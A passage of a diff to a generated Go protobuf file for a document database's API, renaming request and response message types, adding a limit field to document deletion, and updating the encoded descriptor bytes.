file_documents_proto_rawDescGZIP(), []int{30} + return file_documents_proto_rawDescGZIP(), []int{28} } func (x *DocumentMetadata) GetDeleted() bool { @@ -1806,7 +1696,7 @@ func (x *DocumentMetadata) GetDeleted() bool { return false } -type DocumentAuditRequest struct { +type AuditDocumentRequest struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields @@ -1818,23 +1708,23 @@ type DocumentAuditRequest struct { PageSize uint32 `protobuf:"varint,5,opt,name=pageSize,proto3" json:"pageSize,omitempty"` } -func (x *DocumentAuditRequest) Reset() { - *x = DocumentAuditRequest{} +func (x *AuditDocumentRequest) Reset() { + *x = AuditDocumentRequest{} if protoimpl.UnsafeEnabled { - mi := &file_documents_proto_msgTypes[31] + mi := &file_documents_proto_msgTypes[29] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } -func (x *DocumentAuditRequest) String() string { +func (x *AuditDocumentRequest) String() string { return protoimpl.X.MessageStringOf(x) } -func (*DocumentAuditRequest) ProtoMessage() {} +func (*AuditDocumentRequest) ProtoMessage() {} -func (x *DocumentAuditRequest) ProtoReflect() protoreflect.Message { - mi := &file_documents_proto_msgTypes[31] +func (x *AuditDocumentRequest) ProtoReflect() protoreflect.Message { + mi := &file_documents_proto_msgTypes[29] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1845,47 +1735,47 @@ func (x *DocumentAuditRequest) ProtoReflect() protoreflect.Message { return mi.MessageOf(x) } -// Deprecated: Use DocumentAuditRequest.ProtoReflect.Descriptor instead. -func (*DocumentAuditRequest) Descriptor() ([]byte, []int) { - return file_documents_proto_rawDescGZIP(), []int{31} +// Deprecated: Use AuditDocumentRequest.ProtoReflect.Descriptor instead. +func (*AuditDocumentRequest) Descriptor() ([]byte, []int) { + return file_documents_proto_rawDescGZIP(), []int{29} } -func (x *DocumentAuditRequest) GetCollection() string { +func (x *AuditDocumentRequest) GetCollection() string { if x != nil { return x.Collection } return "" } -func (x *DocumentAuditRequest) GetDocumentId() string { +func (x *AuditDocumentRequest) GetDocumentId() string { if x != nil { return x.DocumentId } return "" } -func (x *DocumentAuditRequest) GetDesc() bool { +func (x *AuditDocumentRequest) GetDesc() bool { if x != nil { return x.Desc } return false } -func (x *DocumentAuditRequest) GetPage() uint32 { +func (x *AuditDocumentRequest) GetPage() uint32 { if x != nil { return x.Page } return 0 } -func (x *DocumentAuditRequest) GetPageSize() uint32 { +func (x *AuditDocumentRequest) GetPageSize() uint32 { if x != nil { return x.PageSize } return 0 } -type DocumentAuditResponse struct { +type AuditDocumentResponse struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields @@ -1893,23 +1783,23 @@ type DocumentAuditResponse struct { Revisions []*DocumentAtRevision `protobuf:"bytes,1,rep,name=revisions,proto3" json:"revisions,omitempty"` } -func (x *DocumentAuditResponse) Reset() { - *x = DocumentAuditResponse{} +func (x *AuditDocumentResponse) Reset() { + *x = AuditDocumentResponse{} if protoimpl.UnsafeEnabled { - mi := &file_documents_proto_msgTypes[32] + mi := &file_documents_proto_msgTypes[30] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } -func (x *DocumentAuditResponse) String() string { +func (x *AuditDocumentResponse) String() string { return protoimpl.X.MessageStringOf(x) } -func (*DocumentAuditResponse) ProtoMessage() {} +func (*AuditDocumentResponse) ProtoMessage() {} -func (x *DocumentAuditResponse) ProtoReflect() protoreflect.Message { - mi := &file_documents_proto_msgTypes[32] +func (x *AuditDocumentResponse) ProtoReflect() protoreflect.Message { + mi := &file_documents_proto_msgTypes[30] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1920,19 +1810,19 @@ func (x *DocumentAuditResponse) ProtoReflect() protoreflect.Message { return mi.MessageOf(x) } -// Deprecated: Use DocumentAuditResponse.ProtoReflect.Descriptor instead. -func (*DocumentAuditResponse) Descriptor() ([]byte, []int) { - return file_documents_proto_rawDescGZIP(), []int{32} +// Deprecated: Use AuditDocumentResponse.ProtoReflect.Descriptor instead. +func (*AuditDocumentResponse) Descriptor() ([]byte, []int) { + return file_documents_proto_rawDescGZIP(), []int{30} } -func (x *DocumentAuditResponse) GetRevisions() []*DocumentAtRevision { +func (x *AuditDocumentResponse) GetRevisions() []*DocumentAtRevision { if x != nil { return x.Revisions } return nil } -type DocumentProofRequest struct { +type ProveDocumentRequest struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields @@ -1943,23 +1833,23 @@ type DocumentProofRequest struct { ProofSinceTransactionId uint64 `protobuf:"varint,4,opt,name=proofSinceTransactionId,proto3" json:"proofSinceTransactionId,omitempty"` } -func (x *DocumentProofRequest) Reset() { - *x = DocumentProofRequest{} +func (x *ProveDocumentRequest) Reset() { + *x = ProveDocumentRequest{} if protoimpl.UnsafeEnabled { - mi := &file_documents_proto_msgTypes[33] + mi := &file_documents_proto_msgTypes[31] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } -func (x *DocumentProofRequest) String() string { +func (x *ProveDocumentRequest) String() string { return protoimpl.X.MessageStringOf(x) } -func (*DocumentProofRequest) ProtoMessage() {} +func (*ProveDocumentRequest) ProtoMessage() {} -func (x *DocumentProofRequest) ProtoReflect() protoreflect.Message { - mi := &file_documents_proto_msgTypes[33] +func (x *ProveDocumentRequest) ProtoReflect() protoreflect.Message { + mi := &file_documents_proto_msgTypes[31] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1970,40 +1860,40 @@ func (x *DocumentProofRequest) ProtoReflect() protoreflect.Message { return mi.MessageOf(x) } -// Deprecated: Use DocumentProofRequest.ProtoReflect.Descriptor instead. -func (*DocumentProofRequest) Descriptor() ([]byte, []int) { - return file_documents_proto_rawDescGZIP(), []int{33} +// Deprecated: Use ProveDocumentRequest.ProtoReflect.Descriptor instead. +func (*ProveDocumentRequest) Descriptor() ([]byte, []int) { + return file_documents_proto_rawDescGZIP(), []int{31} } -func (x *DocumentProofRequest) GetCollection() string { +func (x *ProveDocumentRequest) GetCollection() string { if x != nil { return x.Collection } return "" } -func (x *DocumentProofRequest) GetDocumentId() string { +func (x *ProveDocumentRequest) GetDocumentId() string { if x != nil { return x.DocumentId } return "" } -func (x *DocumentProofRequest) GetTransactionId() uint64 { +func (x *ProveDocumentRequest) GetTransactionId() uint64 { if x != nil { return x.TransactionId } return 0 } -func (x *DocumentProofRequest) GetProofSinceTransactionId() uint64 { +func (x *ProveDocumentRequest) GetProofSinceTransactionId() uint64 { if x != nil { return x.ProofSinceTransactionId } return 0 } -type DocumentProofResponse struct { +type ProveDocumentResponse struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields @@ -2015,23 +1905,23 @@ type DocumentProofResponse struct { VerifiableTx *schema.VerifiableTxV2 `protobuf:"bytes,5,opt,name=verifiableTx,proto3" json:"verifiableTx,omitempty"` } -func (x *DocumentProofResponse) Reset() { - *x = DocumentProofResponse{} +func (x *ProveDocumentResponse) Reset() { + *x = ProveDocumentResponse{} if protoimpl.UnsafeEnabled { - mi := &file_documents_proto_msgTypes[34] + mi := &file_documents_proto_msgTypes[32] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } -func (x *DocumentProofResponse) String() string { +func (x *ProveDocumentResponse) String() string { return protoimpl.X.MessageStringOf(x) } -func (*DocumentProofResponse) ProtoMessage() {} +func (*ProveDocumentResponse) ProtoMessage() {} -func (x *DocumentProofResponse) ProtoReflect() protoreflect.Message { - mi := &file_documents_proto_msgTypes[34] +func (x *ProveDocumentResponse) ProtoReflect() protoreflect.Message { + mi := &file_documents_proto_msgTypes[32] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -2042,71 +1932,72 @@ func (x *DocumentProofResponse) ProtoReflect() protoreflect.Message { return mi.MessageOf(x) } -// Deprecated: Use DocumentProofResponse.ProtoReflect.Descriptor instead. -func (*DocumentProofResponse) Descriptor() ([]byte, []int) { - return file_documents_proto_rawDescGZIP(), []int{34} +// Deprecated: Use ProveDocumentResponse.ProtoReflect.Descriptor instead. +func (*ProveDocumentResponse) Descriptor() ([]byte, []int) { + return file_documents_proto_rawDescGZIP(), []int{32} } -func (x *DocumentProofResponse) GetDatabase() string { +func (x *ProveDocumentResponse) GetDatabase() string { if x != nil { return x.Database } return "" } -func (x *DocumentProofResponse) GetCollectionId() uint32 { +func (x *ProveDocumentResponse) GetCollectionId() uint32 { if x != nil { return x.CollectionId } return 0 } -func (x *DocumentProofResponse) GetIdFieldName() string { +func (x *ProveDocumentResponse) GetIdFieldName() string { if x != nil { return x.IdFieldName } return "" } -func (x *DocumentProofResponse) GetEncodedDocument() []byte { +func (x *ProveDocumentResponse) GetEncodedDocument() []byte { if x != nil { return x.EncodedDocument } return nil } -func (x *DocumentProofResponse) GetVerifiableTx() *schema.VerifiableTxV2 { +func (x *ProveDocumentResponse) GetVerifiableTx() *schema.VerifiableTxV2 { if x != nil { return x.VerifiableTx } return nil } -type DocumentDeleteRequest struct { +type DeleteDocumentsRequest struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields Query *Query `protobuf:"bytes,1,opt,name=query,proto3" json:"query,omitempty"` + Limit uint32 `protobuf:"varint,2,opt,name=limit,proto3" json:"limit,omitempty"` } -func (x *DocumentDeleteRequest) Reset() { - *x = DocumentDeleteRequest{} +func (x *DeleteDocumentsRequest) Reset() { + *x = DeleteDocumentsRequest{} if protoimpl.UnsafeEnabled { - mi := &file_documents_proto_msgTypes[35] + mi := &file_documents_proto_msgTypes[33] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } -func (x *DocumentDeleteRequest) String() string { +func (x *DeleteDocumentsRequest) String() string { return protoimpl.X.MessageStringOf(x) } -func (*DocumentDeleteRequest) ProtoMessage() {} +func (*DeleteDocumentsRequest) ProtoMessage() {} -func (x *DocumentDeleteRequest) ProtoReflect() protoreflect.Message { - mi := &file_documents_proto_msgTypes[35] +func (x *DeleteDocumentsRequest) ProtoReflect() protoreflect.Message { + mi := &file_documents_proto_msgTypes[33] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -2117,41 +2008,48 @@ func (x *DocumentDeleteRequest) ProtoReflect() protoreflect.Message { return mi.MessageOf(x) } -// Deprecated: Use DocumentDeleteRequest.ProtoReflect.Descriptor instead. -func (*DocumentDeleteRequest) Descriptor() ([]byte, []int) { - return file_documents_proto_rawDescGZIP(), []int{35} +// Deprecated: Use DeleteDocumentsRequest.ProtoReflect.Descriptor instead. +func (*DeleteDocumentsRequest) Descriptor() ([]byte, []int) { + return file_documents_proto_rawDescGZIP(), []int{33} } -func (x *DocumentDeleteRequest) GetQuery() *Query { +func (x *DeleteDocumentsRequest) GetQuery() *Query { if x != nil { return x.Query } return nil } -type DocumentDeleteResponse struct { +func (x *DeleteDocumentsRequest) GetLimit() uint32 { + if x != nil { + return x.Limit + } + return 0 +} + +type DeleteDocumentsResponse struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields } -func (x *DocumentDeleteResponse) Reset() { - *x = DocumentDeleteResponse{} +func (x *DeleteDocumentsResponse) Reset() { + *x = DeleteDocumentsResponse{} if protoimpl.UnsafeEnabled { - mi := &file_documents_proto_msgTypes[36] + mi := &file_documents_proto_msgTypes[34] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } } -func (x *DocumentDeleteResponse) String() string { +func (x *DeleteDocumentsResponse) String() string { return protoimpl.X.MessageStringOf(x) } -func (*DocumentDeleteResponse) ProtoMessage() {} +func (*DeleteDocumentsResponse) ProtoMessage() {} -func (x *DocumentDeleteResponse) ProtoReflect() protoreflect.Message { - mi := &file_documents_proto_msgTypes[36] +func (x *DeleteDocumentsResponse) ProtoReflect() protoreflect.Message { + mi := &file_documents_proto_msgTypes[34] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -2162,9 +2060,9 @@ func (x *DocumentDeleteResponse) ProtoReflect() protoreflect.Message { return mi.MessageOf(x) } -// Deprecated: Use DocumentDeleteResponse.ProtoReflect.Descriptor instead. -func (*DocumentDeleteResponse) Descriptor() ([]byte, []int) { - return file_documents_proto_rawDescGZIP(), []int{36} +// Deprecated: Use DeleteDocumentsResponse.ProtoReflect.Descriptor instead. +func (*DeleteDocumentsResponse) Descriptor() ([]byte, []int) { + return file_documents_proto_rawDescGZIP(), []int{34} } var File_documents_proto protoreflect.FileDescriptor @@ -2179,8 +2077,8 @@ var file_documents_proto_rawDesc = []byte{ 0x74, 0x6f, 0x63, 0x2d, 0x67, 0x65, 0x6e, 0x2d, 0x73, 0x77, 0x61, 0x67, 0x67, 0x65, 0x72, 0x2f, 0x6f, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x61, 0x6e, 0x6e, 0x6f, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x1a, 0x0c, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x22, 0xab, 0x01, 0x0a, 0x17, 0x43, 0x6f, 0x6c, 0x6c, - 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, + 0x61, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x22, 0xab, 0x01, 0x0a, 0x17, 0x43, 0x72, 0x65, 0x61, + 0x74, 0x65, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x69, 0x64, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x69, 0x64, @@ -2190,8 +2088,8 @@ var file_documents_proto_rawDesc = []byte{ 0x66, 0x69, 0x65, 0x6c, 0x64, 0x73, 0x12, 0x2d, 0x0a, 0x07, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, 0x18, 0x04, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x13, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, 0x07, 0x69, 0x6e, - 0x64, 0x65, 0x78, 0x65, 0x73, 0x22, 0x1a, 0x0a, 0x18, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, - 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, + 0x64, 0x65, 0x78, 0x65, 0x73, 0x22, 0x1a, 0x0a, 0x18, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x43, + 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x48, 0x0a, 0x05, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x2b, 0x0a, 0x04, 0x74, 0x79, 0x70, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x17, 0x2e, 0x69, @@ -2200,11 +2098,11 @@ var file_documents_proto_rawDesc = []byte{ 0x6e, 0x64, 0x65, 0x78, 0x12, 0x16, 0x0a, 0x06, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x09, 0x52, 0x06, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x73, 0x12, 0x1a, 0x0a, 0x08, 0x69, 0x73, 0x55, 0x6e, 0x69, 0x71, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, - 0x69, 0x73, 0x55, 0x6e, 0x69, 0x71, 0x75, 0x65, 0x22, 0x2a, 0x0a, 0x14, 0x43, 0x6f, 0x6c, 0x6c, - 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x69, 0x73, 0x55, 0x6e, 0x69, 0x71, 0x75, 0x65, 0x22, 0x2a, 0x0a, 0x14, 0x47, 0x65, 0x74, 0x43, + 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, - 0x6e, 0x61, 0x6d, 0x65, 0x22, 0x51, 0x0a, 0x15, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, - 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x38, 0x0a, + 0x6e, 0x61, 0x6d, 0x65, 0x22, 0x51, 0x0a, 0x15, 0x47, 0x65, 0x74, 0x43, 0x6f, 0x6c, 0x6c, 0x65, + 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x38, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0a, 0x63, 0x6f, 0x6c, @@ -2218,334 +2116,311 @@ var file_documents_proto_rawDesc = []byte{ 0x64, 0x52, 0x06, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x73, 0x12, 0x2d, 0x0a, 0x07, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, 0x18, 0x04, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x13, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, - 0x07, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, 0x22, 0x17, 0x0a, 0x15, 0x43, 0x6f, 0x6c, 0x6c, - 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, - 0x74, 0x22, 0x54, 0x0a, 0x16, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, - 0x69, 0x73, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x3a, 0x0a, 0x0b, 0x63, + 0x07, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x65, 0x73, 0x22, 0x17, 0x0a, 0x15, 0x47, 0x65, 0x74, 0x43, + 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x74, 0x22, 0x54, 0x0a, 0x16, 0x47, 0x65, 0x74, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, + 0x6f, 0x6e, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x3a, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, - 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0x2d, 0x0a, 0x17, 0x43, 0x6f, 0x6c, 0x6c, 0x65, - 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0x2d, 0x0a, 0x17, 0x44, 0x65, 0x6c, 0x65, 0x74, + 0x65, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x22, 0x1a, 0x0a, 0x18, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, - 0x73, 0x65, 0x22, 0x4f, 0x0a, 0x17, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, - 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, + 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x22, 0x1a, 0x0a, 0x18, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, + 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, + 0x73, 0x65, 0x22, 0x4f, 0x0a, 0x17, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x43, 0x6f, 0x6c, 0x6c, + 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x69, 0x64, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x69, 0x64, 0x46, 0x69, 0x65, 0x6c, 0x64, 0x4e, - 0x61, 0x6d, 0x65, 0x22, 0x1a, 0x0a, 0x18, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, - 0x6e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, - 0x68, 0x0a, 0x12, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, + 0x61, 0x6d, 0x65, 0x22, 0x1a, 0x0a, 0x18, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x43, 0x6f, 0x6c, + 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, + 0x68, 0x0a, 0x12, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x16, 0x0a, 0x06, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x09, 0x52, 0x06, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x73, 0x12, 0x1a, 0x0a, 0x08, 0x69, 0x73, 0x55, 0x6e, 0x69, 0x71, 0x75, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, - 0x08, 0x69, 0x73, 0x55, 0x6e, 0x69, 0x71, 0x75, 0x65, 0x22, 0x15, 0x0a, 0x13, 0x49, 0x6e, 0x64, - 0x65, 0x78, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, - 0x22, 0x4c, 0x0a, 0x12, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, + 0x08, 0x69, 0x73, 0x55, 0x6e, 0x69, 0x71, 0x75, 0x65, 0x22, 0x15, 0x0a, 0x13, 0x43, 0x72, 0x65, + 0x61, 0x74, 0x65, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, + 0x22, 0x4c, 0x0a, 0x12, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x16, 0x0a, 0x06, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x09, 0x52, 0x06, 0x66, 0x69, 0x65, 0x6c, 0x64, 0x73, 0x22, 0x15, - 0x0a, 0x13, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x73, - 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x6c, 0x0a, 0x15, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1e, - 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x33, - 0x0a, 0x08, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, - 0x32, 0x17, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, - 0x75, 0x66, 0x2e, 0x53, 0x74, 0x72, 0x75, 0x63, 0x74, 0x52, 0x08, 0x64, 0x6f, 0x63, 0x75, 0x6d, - 0x65, 0x6e, 0x74, 0x22, 0x5e, 0x0a, 0x16, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, - 0x6e, 0x73, 0x65, 0x72, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 